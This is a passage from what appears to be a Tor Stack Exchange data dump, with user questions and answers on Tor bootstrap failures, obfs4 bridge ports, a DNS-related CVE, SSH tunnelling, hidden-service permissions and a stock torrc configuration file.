&#xA;29-Jun-17 10:17:35 AM.100 [WARN]  5 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;29-Jun-17 10:17:35 AM.100 [WARN]  5 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;29-Jun-17 10:17:35 AM.100 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;29-Jun-17 10:17:35 AM.100 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;29-Jun-17 10:17:36 AM.300 [WARN] Problem bootstrapping. Stuck at 15%: Establishing an encrypted directory connection. (DONE; DONE; count 15; recommendation warn; host 1E326AAFB3FCB515015250D8FCCC8E37F91A153B at 128.105.214.161:8080) &#xA;29-Jun-17 10:17:36 AM.300 [WARN] 15 connections have failed: &#xA;29-Jun-17 10:17:36 AM.300 [WARN]  6 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;29-Jun-17 10:17:36 AM.300 [WARN]  5 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;29-Jun-17 10:17:36 AM.300 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;29-Jun-17 10:17:36 AM.300 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;29-Jun-17 10:17:36 AM.300 [WARN] Problem bootstrapping. Stuck at 15%: Establishing an encrypted directory connection. (DONE; DONE; count 16; recommendation warn; host 0E858AC201BF0F3FA3C462F64844CBFFC7297A42 at 131.252.210.150:8080) &#xA;29-Jun-17 10:17:36 AM.300 [WARN] 16 connections have failed: &#xA;29-Jun-17 10:17:36 AM.300 [WARN]  7 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;29-Jun-17 10:17:36 AM.300 [WARN]  5 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;29-Jun-17 10:17:36 AM.300 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;29-Jun-17 10:17:36 AM.300 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18133" LastEditorUserId="12737" LastEditDate="2017-06-29T12:39:22.240" LastActivityDate="2017-06-29T12:39:22.240" Title="Unable to use Tor" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2017-07-03T08:50:43.400" ContentLicense="CC BY-SA 3.0" />
  <row Id="15157" PostTypeId="2" ParentId="15156" CreationDate="2017-06-29T10:38:51.793" Score="0" Body="&lt;p&gt;DisableNetwork is set, you need to edit your torrc file and either comment it out, remove it or set to 0.&#xA;The biggest question is if you didnt set it manually who did and why? often disable network can be set if your time is way off. Tor needs accurate time to work and your computers system time could be off, therefore throwing the disable network. So check your torrc and remove/comment/set 0 on DisableNetwork. I would also update your time before trying to connect again, and then check to see if DisableNetwork was turned back on if you still cant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit Torrc info; &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#torrc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/faq.html.en#torrc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other info; &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#DoesntWork&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/faq.html.en#DoesntWork&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18037" LastActivityDate="2017-06-29T10:38:51.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15160" PostTypeId="2" ParentId="15138" CreationDate="2017-06-29T13:27:37.287" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What numbers to choose for OR and obfs4proxy ports?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For an obfs4 bridge I'd recommend:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Picking a low numbered port that's used by a common service for &lt;code&gt;obfs4&lt;/code&gt; (it takes a few extra steps to allow &lt;code&gt;obfs4&lt;/code&gt; to bind to low ports) might help &lt;em&gt;some&lt;/em&gt; user (and may &lt;em&gt;hinder&lt;/em&gt; others, e.g. if their DPI reasons: &quot;I know that &lt;code&gt;obfs4&lt;/code&gt; traffic definitely isn't the service that normally runs on port 443&quot;.)&lt;/li&gt;&#xA;&lt;li&gt;Picking a randomly chosen high numbered port that &lt;em&gt;isn't&lt;/em&gt; used by any common services for the &lt;code&gt;ORPort&lt;/code&gt; to make it more difficult to detect by someone performing internet wide scans on common ports. (e.g. &lt;code&gt;python2 -c 'import random;print random.randint(1025,65535)'&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd strongly recommend that you implement 2, but 1 is more of an open question. By default &lt;code&gt;obfs4proxy&lt;/code&gt; will pick a random high numbered port for itself.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does opening a DIR port on a bridge make sense, and if yes, on which port?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the client &lt;em&gt;will&lt;/em&gt; use you as a directory guard but this communication is done over the &lt;code&gt;obfs4&lt;/code&gt; or &lt;code&gt;OR&lt;/code&gt; connection. This &lt;em&gt;doesn't&lt;/em&gt; require exposing a &lt;code&gt;DirPort&lt;/code&gt; and exposing one is just adding more potential for your bridge to be detected as a bridge from some adversary scanning for bridges.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does using IPv6 provide any benefit over just IPv4?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It will allow users who are on IPv6-only connections to use your bridge. Anecdotally, since IPv6 isn't widely adopted &lt;em&gt;some&lt;/em&gt; (of the crappier) DPI &lt;em&gt;might&lt;/em&gt; have a tougher time censoring IPv6.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-29T13:27:37.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15161" PostTypeId="1" CreationDate="2017-06-29T14:03:21.057" Score="0" ViewCount="83" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9445&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9445&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://openwall.com/lists/oss-security/2017/06/27/8&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://openwall.com/lists/oss-security/2017/06/27/8&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.ubuntu.com/usn/usn-3341-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ubuntu.com/usn/usn-3341-1/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What does this mean for tor browser users? How might this vuln be used against the tor browser? Could this be used to manipulate the first hop between users and the guard node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I know nothing about netsec, ossec -- obviously.)&lt;/p&gt;&#xA;" OwnerUserId="18138" LastEditorUserId="88" LastEditDate="2017-07-04T20:00:03.797" LastActivityDate="2017-07-04T20:00:03.797" Title="Effects of CVE-2017-9445?" Tags="|tor-browser-bundle|configuration|dns|vulnerability|global-adversary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15162" PostTypeId="2" ParentId="15161" CreationDate="2017-06-29T14:19:01.147" Score="1" Body="&lt;p&gt;Tor doesn't use DNS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any DNS resolving is done at the exit node by the exit node, Tor Browser users are unaffected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might affect some exit nodes who haven't patched.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-29T14:19:01.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15163" PostTypeId="2" ParentId="15047" CreationDate="2017-06-29T15:14:27.070" Score="0" Body="&lt;p&gt;I've found a temporary workaround on Windows platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When TBB has issue connecting, check the log, if Tor is able to at least partially fetching directory info,(shown in the log as &lt;strong&gt;I learned some more directory information, but not enough to build a circuit:&lt;/strong&gt;) but the progress bar doesn't want to move forward for hours, simply shut down the browser, wait for a few minutes, and restart, sometimes it will get through, might still take hours through...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now switching to Lantern, Psiphon and freeVPN, hopefully Tor bug team can correct this issue in a future release.&lt;/p&gt;&#xA;" OwnerUserId="17930" LastEditorDisplayName="user6671" LastEditDate="2017-06-30T09:33:50.550" LastActivityDate="2017-06-30T09:33:50.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15164" PostTypeId="1" CreationDate="2017-06-29T17:17:07.757" Score="1" ViewCount="1335" Body="&lt;p&gt;I want to use TOR in such way:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser --&gt; local Socks5 proxy --&gt; VPS (connection through ssh&#xA;  tunnel) --&gt; Tor Network --&gt; Internet&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How to setup such a connection?&lt;/li&gt;&#xA;&lt;li&gt;Will my ISP know that I'm using TOR? (By ISP I mean ISP of a computer where Tor Browser is installed, not ISP of VPS)&lt;/li&gt;&#xA;&lt;li&gt;Is it secure?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18139" LastEditorUserId="18139" LastEditDate="2017-06-29T17:23:21.427" LastActivityDate="2017-06-29T19:41:53.430" Title="How to send Tor traffic through ssh tunnel?" Tags="|tor-browser-bundle|configuration|anonymity|socks|torsocks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15165" PostTypeId="2" ParentId="15154" CreationDate="2017-06-29T19:23:13.413" Score="0" Body="&lt;p&gt;Routers give each computer their own internet address. However sites identify the 2,3,4,5,6,7,8 etc internet addresses because they are different by only one number. The computer you use has the internet access blocking software. Delete it. I am not aware of routers able to store software. Each computer protected by Net Nanny requires a “seat” or license. If you purchased more than 1 seat you can install Net Nanny on the same number of computers as your purchased seats. &lt;/p&gt;&#xA;" OwnerUserId="18142" LastActivityDate="2017-06-29T19:23:13.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15166" PostTypeId="2" ParentId="15164" CreationDate="2017-06-29T19:41:53.430" Score="2" Body="&lt;p&gt;You want to configure Tor to use an upstream proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Button/Onion Menu -&gt; Network Settings -&gt; Tick 'This computer needs to use a local proxy to access the Internet'&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Proxy Type: &lt;code&gt;SOCKS5&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Address: &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Port: &lt;em&gt;Enter the port number you set for &lt;code&gt;-D&lt;/code&gt; here&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Username and Password: &lt;em&gt;Leave blank&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Select &quot;OK&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the Tor that Tor Browser launches will connect through the SOCKS proxy provided by SSH to reach the Tor Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your ISP may still be able to see that you're using Tor if they are looking hard enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not necessarily insecure but it's potentially adding more places where an adversary could get information about traffic between you and your guard from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a general rule: &lt;em&gt;mo' hops, mo' problems&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-29T19:41:53.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15167" PostTypeId="1" CreationDate="2017-06-30T00:01:25.610" Score="0" ViewCount="152" Body="&lt;p&gt;If you surf over Tor Browser and go on websites that are not https or secure, can your ISP see those sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, can people see those sites wirelessly, pcap wireshark etc?&lt;/p&gt;&#xA;" OwnerUserId="18145" LastActivityDate="2017-06-30T16:47:22.637" Title="not https or secure connection - ISP reads?" Tags="|https|" AnswerCount="1" CommentCount="0" ClosedDate="2017-07-03T08:50:17.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="15168" PostTypeId="1" CreationDate="2017-06-30T09:37:13.273" Score="0" ViewCount="1207" Body="&lt;p&gt;I am at the phase of installation of TAILS 3.0 where I need to clone TAILS onto my second USB.  when I click the install by cloning button the window closes and no menu comes up at all.  I am hoping that someone knows a fix for this.&lt;/p&gt;&#xA;" OwnerUserId="18149" LastActivityDate="2022-11-08T23:04:35.503" Title="Cannot &quot;Install by Cloning&quot;" Tags="|tor-install|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15170" PostTypeId="2" ParentId="15167" CreationDate="2017-06-30T16:47:22.637" Score="-1" Body="&lt;p&gt;From my understanding, the data would be seen from the exit node to the web server, but not to the ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wireshark and similiar programs could capture all Tor data, HTTP and HTTPS but this would only be used by the FBI or snoopy neighbors&lt;/p&gt;&#xA;" OwnerUserId="18154" LastActivityDate="2017-06-30T16:47:22.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15173" PostTypeId="1" CreationDate="2017-06-30T21:32:34.687" Score="1" ViewCount="50" Body="&lt;p&gt;I read this &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; and I understand how a node can become a entry guard but I didn't found documentation about how a node become a exit node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I can found documentations or articles similar to the article about lifecycle of a new node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I check this &lt;a href=&quot;https://tor.stackexchange.com/questions/423/what-are-good-explanations-for-relay-flags&quot;&gt;post&lt;/a&gt;. It says for the exit node:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A router is called an 'Exit’ iff it allows exits to at least two of the ports 80, 443, and 6667 and allows exits to at least one /8 address space.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That means a new node configure it's machine with these ports open and enough adress, it's become automatically a exit node?&lt;/p&gt;&#xA;" OwnerUserId="18159" LastEditorUserId="18159" LastEditDate="2017-07-01T01:46:20.647" LastActivityDate="2017-07-01T01:46:20.647" Title="How a node get a exit flag?" Tags="|exit-relays|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2017-07-03T08:51:09.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="15176" PostTypeId="1" CreationDate="2017-07-01T14:01:07.887" Score="2" ViewCount="294" Body="&lt;p&gt;last night a windows update KB4022716 was installed automatically but now Tor won´t start at all. A windows failure dialog pops always up that Tor ist nor working properly and will be closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I havn´t used Tor for the last two weeks so I am not sure but assume that the problem could be the Win update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even deleting the tor folder and installing in a new folder doenst help with the actual 7.x version of tor. Also the older version 6.5.2 doesn´t start after new installation anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Ftug.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Ftug.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I get some information what could be the problem? Where do I found a log with inportant information about the possible problem?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If anyone know this failure help would be apreciated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sam&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;In the windows logs I found the following which ioccurs several times there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name der fehlerhaften Anwendung: firefox.exe, Version: 45.9.0.6241, Zeitstempel: 0x00000000&#xA;Name des fehlerhaften Moduls: cmdshim32.dll, Version: 10.0.1.6223, Zeitstempel: 0x58fbd220&#xA;Ausnahmecode: 0xc0000005&#xA;Fehleroffset: 0x0000135b&#xA;ID des fehlerhaften Prozesses: 0x894&#xA;Startzeit der fehlerhaften Anwendung: 0x01d2f23c1718c742&#xA;Pfad der fehlerhaften Anwendung: C:\Internet\TorBrowser\Browser\firefox.exe&#xA;Pfad des fehlerhaften Moduls: C:\WINDOWS\system32\cmdshim32.dll&#xA;Berichtskennung: 5339f314-9801-4b86-883d-29c0a77e0e4c&#xA;Vollständiger Name des fehlerhaften Pakets: &#xA;Anwendungs-ID, die relativ zum fehlerhaften Paket ist: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this information help, I am unsure. Any tips?&lt;/p&gt;&#xA;" OwnerUserId="18164" LastEditorUserId="18164" LastEditDate="2017-07-04T20:11:13.180" LastActivityDate="2017-09-03T05:33:16.220" Title="Tor 7.0 or 6.5.2 not starting at all after Win 10 Update an even after new installing" Tags="|windows|startup|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15183" PostTypeId="1" CreationDate="2017-07-02T14:52:28.503" Score="0" ViewCount="97" Body="&lt;p&gt;I have two versions of TOR on my PC. If I use the one that has security settings at medium - so I can log in here for example - I am getting a continual stream of something from this site: www.cyber-consultancy.nl I watch the modem lights and the stream does not stop as long as the browser is online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I then go to my more secure version with max security this does not happen. So I am left wondering if this agency has been hired by someone to test TOR security holes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="15092" LastActivityDate="2017-08-31T16:18:29.187" Title="security problem?" Tags="|security|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15184" PostTypeId="2" ParentId="15183" CreationDate="2017-07-02T15:09:59.980" Score="1" Body="&lt;p&gt;It's literally just the Tor relay that you're connecting to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://atlas.torproject.org/#details/93ED2E908AFBD69DB5D73A51D70674FBD6E4A9B4&quot; rel=&quot;nofollow noreferrer&quot;&gt;93ED2E908AFBD69DB5D73A51D70674FBD6E4A9B4&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't try to use &quot;security&quot; tools that you don't understand, they will make you less secure while also confusing you.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-02T15:09:59.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15185" PostTypeId="1" AcceptedAnswerId="15191" CreationDate="2017-07-02T15:21:07.630" Score="2" ViewCount="5692" Body="&lt;p&gt;My hidden service run fine when using 0.2.9.11 on Ubuntu 16.04 server. but get permission denied problem when I update it to 0.3.0.9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Tor 0.3.0.9 (git-100816d92ab5664d) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2g and Zlib 1.2.8.&#xA;[notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;[notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;[notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Configuration was valid&#xA;[notice] Tor 0.3.0.9 (git-100816d92ab5664d) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2g and Zlib 1.2.8.&#xA;[notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;[notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;[notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;[warn] Directory /var/lib/tor/directory/ cannot be read: Permission denied&#xA;[warn] Checking service directory /var/lib/tor/directory/ failed.&#xA;[warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;[err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 22 September 2015 for Tor 0.2.7.3-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &quot;## &quot; try to explain what's going on. Lines&#xA;## that begin with just &quot;#&quot; are disabled commands: you can enable them&#xA;## by removing the &quot;#&quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a SOCKS proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &quot;SOCKSPort 0&quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SOCKSPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SOCKSPort 192.168.0.1:9100 # Bind to this address:port too.&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SOCKSPolicy is set, we accept&#xA;## all (and only) requests that reach a SOCKSPort. Untrusted users who&#xA;## can access your SOCKSPort may be able to learn about the connections&#xA;## you make.&#xA;#SOCKSPolicy accept 192.168.0.0/16&#xA;#SOCKSPolicy accept6 FC00::/7&#xA;#SOCKSPolicy reject *&#xA;&#xA;## Logs go to stdout at level &quot;notice&quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &quot;notice&quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;#RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;#DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;#ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;#CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &quot;.../hidden_service/hostname&quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;HiddenServiceDir /var/lib/tor/directory/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;## Nicknames must be between 1 and 19 characters inclusive, and must&#xA;## contain only the characters [a-zA-Z0-9].&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 75 kilobytes per second.&#xA;## Note that units for these config options are bytes (per second), not&#xA;## bits (per second), and that prefixes are binary prefixes, i.e. 2^10,&#xA;## 2^20, etc.&#xA;#RelayBandwidthRate 100 KBytes  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KBytes # But allow bursts up to 200KB (1600Kb)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &quot;40 GB&quot; may allow up to 80 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 40 gigabytes each way per period.&#xA;#AccountingMax 40 GBytes&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Administrative contact information for this relay or bridge. This line&#xA;## can be used to contact you if your relay or bridge is misconfigured or&#xA;## something else goes wrong. Note that we archive and publish all&#xA;## descriptors containing these lines and that Google indexes them, so&#xA;## spammers might also collect them. You may want to obscure the fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentially reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins.&#xA;##&#xA;## If you want to allow the same ports on IPv4 and IPv6, write your rules&#xA;## using accept/reject *. If you want to allow different ports on IPv4 and&#xA;## IPv6, write your IPv6 rules using accept6/reject6 *6, and your IPv4 rules&#xA;## using accept/reject *4.&#xA;##&#xA;## If you want to _replace_ the default exit policy, end this with either a&#xA;## reject *:* or an accept *:*. Otherwise, you're _augmenting_ (prepending to)&#xA;## the default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to the configured primary public IPv4 and IPv6 addresses,&#xA;## and any public IPv4 and IPv6 addresses on any interface on the relay.&#xA;## See the man page entry for ExitPolicyRejectPrivate if you want to allow&#xA;## &quot;exit 